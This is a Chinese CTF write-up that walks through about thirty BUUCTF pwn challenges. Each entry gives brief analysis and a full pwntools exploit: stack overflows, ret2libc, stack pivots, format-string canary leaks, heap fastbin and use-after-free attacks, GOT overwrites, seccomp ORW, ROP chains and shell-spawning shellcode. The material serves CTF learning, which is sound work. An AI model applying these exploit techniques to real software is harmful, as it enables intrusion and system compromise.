BUUCTF-PWN-第二页writep(32题)
picoctf_2018_rop chain
明显的栈溢出
flag 函数,需要 win1 win2 和 a1 满足一定条件
也提供了两个函数去控制 win1 和 win2 的值
那么思路就有了,先控制 win1 =1 ,再令 win2 = 1 ,再拿 flag
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('./pwn') p = remote('node4.buuoj.cn', 26272) elf = ELF('./pwn') win_function1 = 0x80485CB win_function2 = 0x80485D8 flag = 0x804862B p.recv() payload = b'a'*28 + p32(win_function1) + p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD) p.sendline(payload) p.recv()
jarvisoj_level3_x64
利用 write 泄露 libc ,不过是 x64 下,得用到通用 gadget
但是没找到 rdx,不过我们只需要 rdx >= 5即可,不需要像系统调用那样精准控制,所以就不需要 CSUROP 或者 SROP 了
都不用调试,看下接受了多少数据,明显够了
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('./pwn') p = remote('node4.buuoj.cn', 28999) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') ret = 0x400499 rdi = 0x4006b3 rsi_r15 = 0x4006b1 payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.sym['write']) + p64(elf.sym['main']) p.sendlineafter(b'Input:\n', payload) write_addr = u64(p.recv(6).ljust(8, b'\x00')) print('write_addr => ', hex(write_addr)) one_gadget = write_addr - libc.sym['write'] + 0xf02a4 payload = b'a'*0x88 + p64(one_gadget) p.sendlineafter(b'Input:\n', payload) p.interactive()
jarvisoj_level4
ret2libc
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('./pwn') p = remote('node4.buuoj.cn', 28911) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4) p.send(payload) write_addr = u32(p.recv(4)) print('write_addr => ', hex(write_addr)) libcbase = write_addr - libc.sym['write'] one_gadget = libcbase + 0x3a80c payload = b'a'*140 + p32(one_gadget) p.sendline(payload) p.interactive()
bjdctf_2020_babyrop2
main函数中有 main 函数和 vuln 函数
gift函数
vuln函数
看汇编代码发现两个子函数的canary都是 fs:28,明显是要泄露出 canary
但是 format 只能是6个字节,于是一个一个试(直接利用 gdb 调试看会更快)
这里发现aa在第六个参赛的相对位置
看IDA可知 canary 在 rbp -0x8 则,canary是第七个参数
在IDA中可知canary就在buf的下方,于是填充完buf就需要填充canary,后面就是标准的 ret2libc
from pwn import * context.log_level = 'debug' #p = process('1') p = remote('node4.buuoj.cn', 25249) elf = ELF('1') libc = ELF('CTF_tool/libc-2.23-x64.so') vuln_addr = elf.symbols['vuln'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] ret = 0x00000000004005f9 rdi = 0x0000000000400993 p.recv() p.sendline('%7$p') canary = int(p.recv(18), 16) p.recv() payload = b'a'*24 + p64(canary) + b'a'*8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) p.sendline(payload) text = p.recv() puts_addr = u64(text.ljust(8, b'\x00')) libcbase = puts_addr - libc.symbols['puts'] system_addr = libcbase + libc.symbols['system'] binsh_addr = libcbase + next(libc.search(b'/bin/sh')) payload = b'a'*24 + p64(canary) + b'a'*8 + p64(rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(payload) p.interactive()
[Black Watch 入群题]PWN
明显的栈溢出漏洞,但是只能溢出 4 个字节,于是这道题就是栈转移了
不能泄露 ebp ,但是可以写到 s 上,然后跳转到 s 执行
不知道为什么用 puts 泄露不了程序会崩溃,难度是 puts 输出太多了?换成 write 就好了
from pwn import * from LibcSearcher import * context.log_level='debug' #p = process('./pwn') p = remote('node4.buuoj.cn', 29860) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') #gdb.attach(p, 'b *0x0804850E') buf_s = 0x804A300 leave = 0x8048408 payload = b'aaaa' + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4) p.sendafter(b'What is your name?', payload) payload = b'a'*24 + p32(buf_s) + p32(leave) p.sendafter(b'What do you want to say?', payload) write_addr = u32(p.recv(4)) one_gadget = write_addr - libc.sym['write'] + 0x3a80e payload = b'aaaa' + p32(one_gadget) p.sendafter(b'What is your name?', payload) payload = b'a'*24 + p32(buf_s) + p32(leave) p.sendafter(b'What do you want to say?', payload) p.interactive()
wustctf2020_getshell
from pwn import * from LibcSearcher import * context.log_level='debug' p = process('./pwn') #p = remote('node4.buuoj.cn', 29860) elf = ELF('./pwn') p.recv() payload = b'a'*0x1c + p32(elf.sym['shell']) p.sendline(payload) p.interactive()
pwnable_orw
main
一看好像是简单的写入shellcode,果不其然错了
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的
sandboxing 机制。在 Linux 系统里,大量的系统调用(system
call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system
call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
orw_seccomp 函数先执行
第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
seccomp沙盒竞争,我们可以利用 o-r-w 读出 flag
可以安装 seccomp-tools 去检测什么函数可以使用
sudo apt install gcc ruby-dev sudo gem install seccomp-tools seccomp-tools dump file
构造如下的语句读取flag,可以将read的数据存入可读写的bss段中
open("flag.txt", READONLY); read(0x3, save_to, flag_size); write(0x1, save_to, flag_size);
paylaod的话可以使用pwntools的shellcraft
payload = shellcraft.open('flag.txt') payload += shellcraft.read(3, save_to, flag_size) payload += shellcraft.write(1, save_to, flag_size)
exp
from pwn import * context.log_level = 'debug' context(os = 'linux', arch = 'i386') #p = process('1') p = remote('node4.buuoj.cn', 27472) elf = ELF('orw') buf_addr = 0x0804A100 shellcode = shellcraft.open('/flag') shellcode += shellcraft.read(3, buf_addr, 0x40) shellcode += shellcraft.write(1, buf_addr, 0x40) ''' shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) ''' p.sendlineafter('Give my your shellcode:', asm(shellcode)) p.recv()
这里两种payload都可以,就是 buf_addr 的地址有些不行(估计有些是没有 rw 权限或者已经有了数据写不进去)
bjdctf_2020_router
web 题命令执行的 pwn 版
from pwn import * context.log_level = 'debug' context(os = 'linux', arch = 'i386') #p = process('1') p = remote('node4.buuoj.cn', 27217) p.sendlineafter('Please input u choose:\n', '1') p.sendlineafter('Please input the ip address:\n', ';/bin/sh') p.interactive()
[ZJCTF 2019]EasyHeap
菜单堆题
create_heap 存在堆溢出漏洞
edit_heap
重新编辑堆内容的时候,没有限制写入的大小,有明显的堆溢出
delete_heap
把指针也给释放了,这个没毛病
修改通过修改 magic 拿到 flag
个人思路是通过堆溢出来达成 fast bin attack ,伪造一个 magic 附近的堆块,从而修改 magic
magic 的地址是 0x6020C0
这里我们可以找到一个合适的堆块实现 fast bin attack
先申请堆块, free 后修改 fd
create(0x10, b'a') create(0x60, b'b') create(0x60, b'c') create(0x10, b'd') free(1)
free(2) fake_chunk = 0x60209d payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(0, payload)
可以看到成功了
再申请回来,那么 index2 就指向我们的 fake_chunk 了
create(0x60, b'b') create(0x60, b'c') payload = b'a'*27 edit(2, payload)
结果
太可恶了吧
想了二十分钟,或许我可以把 cat /home/pwn//flag 修改成 /bin/sh\x00 ?
该字符串的地址是 0x400f49
找到合适的 fake chunk
这里我本来是这么重新申请的
create(0x10, b'a') create(0x60, b'b') create(0x60, b'c') create(0x10, b'd')
但是一直报错,调试才发现
0x70 的 fast bin 这里还有一个 chunk ,应该是 fake chunk 留下的
但是吧,这不应该是 prve size 的位置吗,这里没弄懂(现在看这里没毛病,0x60209d 是堆块中 user_data 的地址, fast bin 的链表也是存放这个地址的,当时应该误以为这个地址是 chunk 头的地址了)
那就
create(0x10, b'a') create(0x50, b'b') create(0x50, b'c') create(0x10, b'd')
接着做吧
然后吧
可能这个不是有 0x00 * 7 + 0x74 组成的,所以申请 chunk 的时候会出错
再试下这个,反正能堆溢出
然而还是申请不出来,半夜两点了,还是明天再继续吧,身体受不了(感慨啊,这六个多月来每天日常十小时以上学习时间,现在总算学出一些东西了)
个人感觉就是修改 cat /home/pwn/flag ,还是看 wp 吧(刚开始学不懂, /home/pwn/flag 应该在 .rodata ,这里是没有写入权限)
可以了,感觉还是挺巧妙的,也是通过伪造堆块
这是存放堆块指针的地方
我们可以在这里伪造一个堆块,然后把 chunk0 的指针修改为 free@got,再通过编辑 chunk0 将 free@plt 修改为 system@plt ,然后在 chunk3 存放 /bin/sh ,那么 free(3) 就能执行 system('/bin/sh')
IDA 查看知道 heaparray = 0x6020E0 即为 chun0 的指针
找到了一个合适的 chunk
(个人觉得找 fake chunk 还是要找存放 地址 的地方,存放数据的太乱了,很难找到)
payload = b'a'*0x23 + p64(elf.got['free']) print('free@got => ', hex(elf.got['free'])) edit(2, payload)
可以看到成功修改
exp
from pwn import * from LibcSearcher import * context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 25676) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') def create(size, content): p.sendlineafter(b'Your choice :', b'1') p.sendlineafter(b'Size of Heap : ', str(size)) p.sendafter(b'Content of heap:', content) def edit(index, content): p.sendlineafter(b'Your choice :', b'2') p.sendlineafter(b'Index :', str(index)) p.sendlineafter(b'Size of Heap : ', str(len(content))) p.sendafter(b'Content of heap : ', content) def free(index): p.sendlineafter(b'Your choice :', b'3') p.sendlineafter(b'Index :', str(index)) def flag(): p.sendlineafter(b'Your choice :', b'4869') print(p.recv()) print(p.recv()) create(0x10, b'a') create(0x60, b'b') create(0x60, b'c') create(0x10, b'/bin/sh\x00') free(1) free(2) fake_chunk = 0x6020ad payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(0, payload) create(0x60, b'b') # index1 -> chun2 create(0x60, b'c') # index2 -> fake chunk payload = b'a'*0x23 + p64(elf.got['free']) print('free@got => ', hex(elf.got['free'])) edit(2, payload) edit(0, p64(elf.plt['system'])) print('system@plt => ', hex(elf.plt['system'])) free(3) p.interactive()
本来以为能靠自己做出来的,没想到还是看 wp,要注意保护措施没开的情况应该怎么去利用漏洞,不要总是想着没有泄露 ibc 就不能做,这道题没开 PIE,并且程序中就有 system 函数,所以可以使用修改 got表 的方法
hitcontraining_uaf
main函数
可以看到,删除指针的时候不会将指针清除
添加 chunk 的时候还添加了一个 sub_chunk,并且,即使之前的chunk被free掉,i还是会继续增加,因为指针没被清除,还是指向原来的chunk,并且创建的chunk前面指向了一个函数,后面指向了sub_chunk,通过uaf,我们可以令一个chunk的sub_chunk指向前面已经被创建的chunk,这样就可以修改chunk指向的函数了,这样来拿到shell
add 函数
后门 magic
这就是解题的思维视图了
先 malloc 两个 16byte 的chunk,都 free 后,再 malloc 一个 8byte 的chunk ,这样 chunk 2 的 sub_chunk 就可以修改 chunk 0 的 self_puts 为 magic 了
exp如下
from pwn import * context.log_level = 'debug' #context(os = 'linux', arch = 'i386') p = process('hacknote') elf = ELF('hacknote') def add(size, content): p.sendlineafter('Your choice :', '1') p.sendlineafter('Note size :', size) p.sendlineafter('Content :', content) def dele(index): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index :', index) def self_put(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index :', index) backdoor_addr = elf.symbols['magic'] add('16', 'aaaa') add('16', 'bbbbb') dele('0') dele('1') add('8', p32(backdoor_addr)) self_put('0') p.interactive()
picoctf_2018_buffer overflow 1
from pwn import * from LibcSearcher import * context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 28098) elf = ELF('./pwn') payload = b'a'*0x2c + p32(elf.sym['win']) p.recv() p.sendline(payload) print(p.recv())
mrctf2020_shellcode
from pwn import * from LibcSearcher import * context.log_level='debug' context(os = 'linux', arch = 'amd64') p = process('./pwn') #p = remote('node4.buuoj.cn', 28098) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') p.sendline(asm(shellcraft.sh())) p.interactive()
jarvisoj_test_your_memory
一道有两个注意点的题
main
mem_test
有 system 函数 和 cat flag 该字符串
注意 s 在 ebp -13h 的位置,所以覆盖到ret所需要填充的数据是 0x13 + 4 = 23 字节
这是第一个注意的点,这里我是动态调试出来的,现在发现是可以直接看的,不过也有可能看IDA是不准确的(做了这么多题了,其实 IDA 是比较准了,不过要结合汇编指令看,看下有没有 leave 指令)
from pwn import * context.log_level = 'debug' #context(os = 'linux', arch = 'i386') #p = process('1') p = remote('node4.buuoj.cn', 29367) elf = ELF('1') system_addr = elf.symbols['system'] flag_addr = next(elf.search(b'cat flag\x00')) system = 0x080485BD flag = 0x080487E0 payload = b'a'*23 + p32(system) + p32(0x0804867A) + p32(flag) #payload = b'a'*23 + p32(system) + p32(0) + p32(flag) p.sendline(payload) p.interactive()
由于执行的是 system('cat flag')
所以,如果执行到 system('cat flag') 后没有正常跳转,即 system('cat flag') 没正常结束,flag是不会回显到终端的,所以在填充返回地址的时候,需要填一个能正常跳转的地址,在 text段随便选一个即可。这是第二个需要注意的点
inndy_rop
一道静态编译的题目,ROPgadget工具竟然能自动构造ROP链
ROPgadget --binary rop --ropchain
只要自己加上偏移就行
from pwn import * from struct import pack context.log_level = 'debug' #context(os = 'linux', arch = 'amd64') #p = process('1') p = remote('node4.buuoj.cn', 26417) elf = ELF('rop') def get_payload(): p = b'a'*16 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 return p shellcode = get_payload() p.sendline(shellcode) p.interactive()
cmcc_simplerop
同样是静态编译的一道题,但是 ROPgadget 找的 ROP_shellcode 太长了
这里最长只能读 100 ,但是构造的达到了 168
这里我们可以用 pop eax; ret p32(0xb) 来代替
然后还是超了 100 ,改不下去了
这里就用 execve('/bin/sh/', 0, 0) 进行系统调用
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29301) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') eax = 0x080bae06 edx_ecx_ebx = 0x0806e850 int_80 = 0x080493e1 buf = 0x80EAF90 payload = b'a'*0x20 + p32(elf.sym['read']) + p32(edx_ecx_ebx) + p32(0) + p32(buf) + p32(0x100) payload += p32(eax) + p32(0xb) + p32(edx_ecx_ebx) + p32(0)*2 + p32(buf) + p32(int_80) p.recv() p.sendline(payload) p.sendline(b'/bin/sh\x00') p.interactive()
注意要IDA的 buf 到 ebp 的距离是错的
也可以用 mprotect 做
picoctf_2018_buffer overflow 2
利用栈溢出跳转到 win 函数执行,并控制好 a1 和 a2 参数
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 28725) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') payload = b'a'*112 + p32(elf.sym['win']) + p32(elf.sym['exit']) + p32(0xDEADBEEF) + p32(0xDEADC0DE) p.recv() p.sendline(payload) print(p.recv())
xdctf2015_pwn200
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29669) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') payload = b'a'*112 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(4) p.sendlineafter(b'Welcome to XDCTF2015~!\n', payload) write_addr = u32(p.recv(4)) libcbase = write_addr - libc.sym['write'] one_gadget = libcbase + 0x5f066 system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*112 + p32(system) + p32(0) + p32(binsh) p.sendlineafter(b'Welcome to XDCTF2015~!\n', payload) p.interactive()
bbys_tu_2016
注意 IDA 偏移是错的,需要调试
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 27816) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') #p.recv() payload = b'a'*0x18 + p32(elf.sym['printFlag']) p.sendline(payload) print(p.recv())
mrctf2020_easyoverflow
利用栈溢出覆盖 v5 从而实现绕过 check 函数检测
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 27816) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') payload = b'a'*0x30 + b'n0t_r3@11y_f1@g' p.send(payload) p.interactive()
wustctf2020_getshell_2
栈溢出题目,但是需要填充 0x18 的无用数据,如果加上 p32(system_addr) + b'a'*4 + p32(binsh_addr) ,那么就会高达 0x28,拿不到shell了
但是如果能找到 call _system 指令,那么就不需要返回地址,将shellcode缩小到 0x24 了
注意直接 call 是不需要伪造 ret addr 的
from pwn import * from struct import pack context.log_level = 'debug' #context(os = 'linux', arch = 'amd64') #p = process('1') #libc = ELF('CTF_tool/libc-2.23-x86.so') p = remote('node4.buuoj.cn', 29637) elf = ELF('1') system_addr = 0x08048529 sh_addr = next(elf.search(b'sh\x00')) payload = b'a'*28 + p32(system_addr) + p32(sh_addr) p.recv() p.sendline(payload) p.interactive()
[ZJCTF 2019]Login
C++ 编写的程序,可以看到是一个实现登录功能的代码
账号密码都给了出来,登录成功后执行 a1 这个参数两个 * 取值后的指令
不过这样填账号密码会出现错误,说明最后跳转的指令有问题
可以看到是跳转到 rax
而 rax 来自于 [rbp + var_68] ,但是这里的 var_68 我们是修改不了的,因为我们只有两次输入,两次输入的 buf 都在 var_68 下面
使用再往上找
再往上找
最后发现 rax 来自 [rbp+var_18]
而 var_18 是我们能够溢出覆盖的
并且程序自带了后门
(现在想想这道题我应该会用其它做法,比如写进一些特殊数据,然后动态调试进行污点追踪,看看程序最后跳转到哪了,这种做法应该会快些?)
exp
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 27816) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') name = b'admin' pasd = b'2jctf_pa5sw0rd' pasd= pasd.ljust(0x48, b'\x00') + p32(0x400E88) p.sendlineafter(b'Please enter username: ', name) p.sendlineafter(b'Please enter password: ', pasd) p.interactive()
jarvisoj_level1
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 27816) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') p.recvuntil(b'What\'s this:') buf = int(p.recv(10), 16) print('buf => ', hex(buf)) payload = asm(shellcraft.sh()).ljust(140, b'\x00') + p32(buf) p.sendline(payload) p.interactive()
ciscn_2019_s_4
栈迁移
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 27816) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') leave = 0x080485FD ret = 0x080483a6 p.recv() p.send(b'a'*0x24 + b'stop') p.recvuntil(b'stop') ebp = u32(p.recv(4)) print('ebp => ', hex(ebp)) payload = b'aaaa' + p32(ret) + p32(elf.sym['system']) + p32(0) + p32(ebp-0x24) + b'/bin/sh\x00' payload = payload.ljust(0x28, b'\x00') payload += p32(ebp-0x34) + p32(leave) p.sendline(payload) p.interactive()
babyfengshui_33c3_2016
一道菜单堆题
主要是看堆的创建这里
先申请一个自定义大小的堆块,然后清空,再申请一个 0x80 的堆块,然后清空。
之后将 0x80 堆块的第一个数据设置成 自定义大小堆块的指针,并且设置一个 index 指向 0x80 的堆块
然后填入姓名数据到 0x80 堆块中
主要是这里
其中 *(&ptr + a1) = v3
**(&ptr + a1) = *v3 = s *(&ptr + a1) - 4 = v3 - 4
申请一个 0x8 大小的 chunk 为例
这里是 s
这里是 v3 - 4
所以可以多溢出三个字节,但由于等于就退出,再加上后面的可以多写一个字节,所以总共可以溢出四个字节
不过这道题是利用检测漏洞实现堆块溢出,我们可以先申请三个堆块,第一个堆块的大小是 0x80,先把第一个堆块 free 后,会合并成一个 0x110 的堆块
如果这时候我们再申请一个 0x100 的堆块,那么 0x80 的另一个堆块就要从 top chunk 拿资源了,所以这两个堆块相隔有一定距离,那么我们就可以去修改这两个堆块中间的另外四个堆块了
不过程序中没有 system@plt,所以需要先泄露 libcbase,同样的,直接修改 0x80 堆块中存放 自定义堆块 的指针为一个函数的 got 表地址,然后 dump 下
add(0x80, b'a', b'a') add(0x80, b'b', b'b') add(0x10, b'/bin/sh\x00', b'/binsh\x00') free(0) add(0x100, b'd', b'd') edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['puts'])) dump(1) p.recvuntil(b'description: ') puts_addr = u32(p.recv(4)) print('puts_addr =>', hex(puts_addr))
效果
然后就是重新覆盖 puts@got 为 system@plt 了,然后在 chunk2 放 /bin/sh ,之后再 free(2) 即可
edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['free'])) print('free@got => ', hex(elf.got['free']))
print('system@plt => ', hex(system))
edit(1, 0x4, p32(system))
可以看到修改成功
exp
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 26501) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') def add(size, name, text): p.sendlineafter(b'Action: ', '0') p.sendlineafter(b'size of description: ', str(size)) p.sendlineafter(b'name: ', name) p.sendlineafter(b'text length: ', str(len(text))) p.sendafter(b'text: ', text) def free(index): p.sendlineafter(b'Action: ', '1') p.sendlineafter(b'index: ', str(index)) def dump(index): p.sendlineafter(b'Action: ', '2') p.sendlineafter(b'index: ', str(index)) def edit(index, lens, text): p.sendlineafter(b'Action: ', '3') p.sendlineafter(b'index: ', str(index)) p.sendlineafter(b'text length: ', str(lens)) p.sendafter(b'text: ', text) def exit(): p.sendlineafter(b'Action: ', '4') add(0x80, b'a', b'a') add(0x80, b'b', b'b') add(0x10, b'/bin/sh\x00', b'/bin/sh\x00') free(0) add(0x100, b'd', b'd') edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['puts'])) dump(1) p.recvuntil(b'description: ') puts_addr = u32(p.recv(4)) print('puts_addr =>', hex(puts_addr)) libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] edit(3, 0x19c, b'\x00'*0x198 + p32(elf.got['free'])) print('free@got => ', hex(elf.got['free'])) print('system@plt => ', hex(system)) edit(1, 0x4, p32(system)) free(2) p.interactive()
hitcontraining_magicheap
这里改了,其它都是类似的
利用 fast bin attck 伪造 fake chunk,修改 magic 的值
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29547) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') def create(size, content): p.sendlineafter(b'Your choice :', '1') p.sendlineafter(b'Size of Heap : ', str(size)) p.sendafter(b'Content of heap:', content) def edit(index, content): p.sendlineafter(b'Your choice :', '2') p.sendlineafter(b'Index :', str(index)) p.sendlineafter(b'Size of Heap : ', str(len(content))) p.sendafter(b'Content of heap : ', content) def free(index): p.sendlineafter(b'Your choice :', '3') p.sendlineafter(b'Index :', str(index)) def get_shell(): p.sendlineafter(b'Your choice :', '4869') create(0x10, 'a') create(0x60, 'b') create(0x60, 'c') create(0x10, 'd') free(1) free(2) fake_chunk = 0x60208d payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(0, payload) create(0x60, 'a') #index1 -> chunk2 payload = b'a'*3 + p64(0xffffffffffffffff) create(0x60, payload) get_shell() p.interactive()
axb_2019_fmt32
简洁的main函数界面,明显的格式化字符串漏洞啊
先泄露 libc ,在修改 printf@plt 为 system@pltfrom pwn import * from struct import pack context.log_level = 'debug' #context(os = 'linux', arch = 'amd64') libc = ELF('CTF_tool/libc-2.23-x86.so') #p = process('1') p = remote('node4.buuoj.cn', 27173) elf = ELF('1') printf_got = elf.got['printf'] payload = b'a' + p32(printf_got) + b'stop' + b'%8$s' #特别注意这里要用 %8$s 读,用 %8$x 只能读出 printf_got 的地址 p.sendlineafter('Please tell me:', payload) p.recvuntil('stop') printf_addr = u32(p.recv(4)) libcbase = printf_addr - libc.symbols['printf'] system_addr = libcbase + libc.symbols['system'] payload = b'a' + fmtstr_payload(8, {printf_got : system_addr}, write_size = 'byte', numbwritten = 0xa) #没有栈对齐,需要将栈对齐,注意这里用的是 printf_got p.sendlineafter('Please tell me:', payload) p.sendline(b';/bin/sh\x00') p.interactive()
wustctf2020_closed
一道很奇怪的题
close(1) 和 close(2) 关掉了标准输出和错误输出
因为1和2文件描述符不可用了,所以对标准输出重定向,将文件描述符 1 重定向到终端
exec 1>&0
ciscn_2019_n_3
菜单堆题
在新增 note 这里
首先会创建一个 0xc 的堆块,然后放入 printf 和 free 函数地址,如果写入内容类型是 text ,则还会多创建一个自定义大小的堆块,并把该堆块的指针放入 0xc 的堆块中
这是放入的 free 函数
发现 free 的时候没有清空指针
但是这是 libc-2.27
只申请一个堆时,上面多了一个 0x140 的堆(tcache struct)
free 后堆块加入的是 tcache
不过我们使用 UAF 的做法,先申请两个 chunk ,都释放掉,再增加一个 0xc 大小的 note,那么我们所申请的一个自定义大小(0xc) 的 chunk 就会占据 之前一个 note 固定 0xc 大小的 chunk ,这个 chunk 是有 printf 和 free 地址的,我们可以修改为 system@plt ,然后在该 note 申请 填入 /bin/sh ,再 free 即可
add(0, 0x20, b'a') add(1, 0x20, b'b') free(0) free(1) add(2, 0xc, b'sh\x00a' + p32(elf.plt['system']))
之后就是 free 了,注意这里 add note2 的时候要把 sh 写上去,方便 system 调用
free(0)
p.interactive()
pwnable_start
结果IDA无法反汇编
这段汇编指令进行了两次系统调用
write(1,buf,0x14) read (0,buf,0x3C)
不存在ebp,通过最后的add esp,14h 我们可以知道esp距离ret的地址0x14个字节(内平栈),也就是我们输入的参数buf的大小只有0x14,但是我们读入了0x3c,存在溢出漏洞,填充 0x14 字节就可覆盖到 ret
我们再次进行栈溢出调用 write ,这时候 esp 执行栈地址,就可以泄露地址了,然后再次写入shellcod 的时候,就可以用stack_addr + 0x14 代表此时的 shellcode 地址了
由于可溢出的空间有限,所以这里我们自己构造payload
shellocde = asm(''' xor ecx,ecx; xor edx,edx; push edx; # '\x00' push 0x0068732f; # 小端序 hs/ push 0x6e69622f; # nib/ mov ebx,esp; #将ebx设置为'/bin/sh\x00'的16进制 mov eax,oxb; #eax设置为0xb,调用execve int 0x80; ''')
exp如下
from pwn import * from struct import pack context.log_level = 'debug' #context(os = 'linux', arch = 'amd64') libc = ELF('CTF_tool/libc-2.23-x64.so') #p = process('1') p = remote('node4.buuoj.cn', 29679) elf = ELF('1') write_addr = 0x08048087 payload = b'a'*0x14 + p32(write_addr) p.recv() p.send(payload) stack_addr = u32(p.recv(4)) shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80') #shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload = b'a'*0x14 + p32(stack_addr + 0x14) + shellcode p.send(payload) p.interactive()
gyctf_2020_borrowstack
栈迁移题目
但是从原来的buf地址写容易写到got表,需要用到 ret 命令提升栈的可写空间
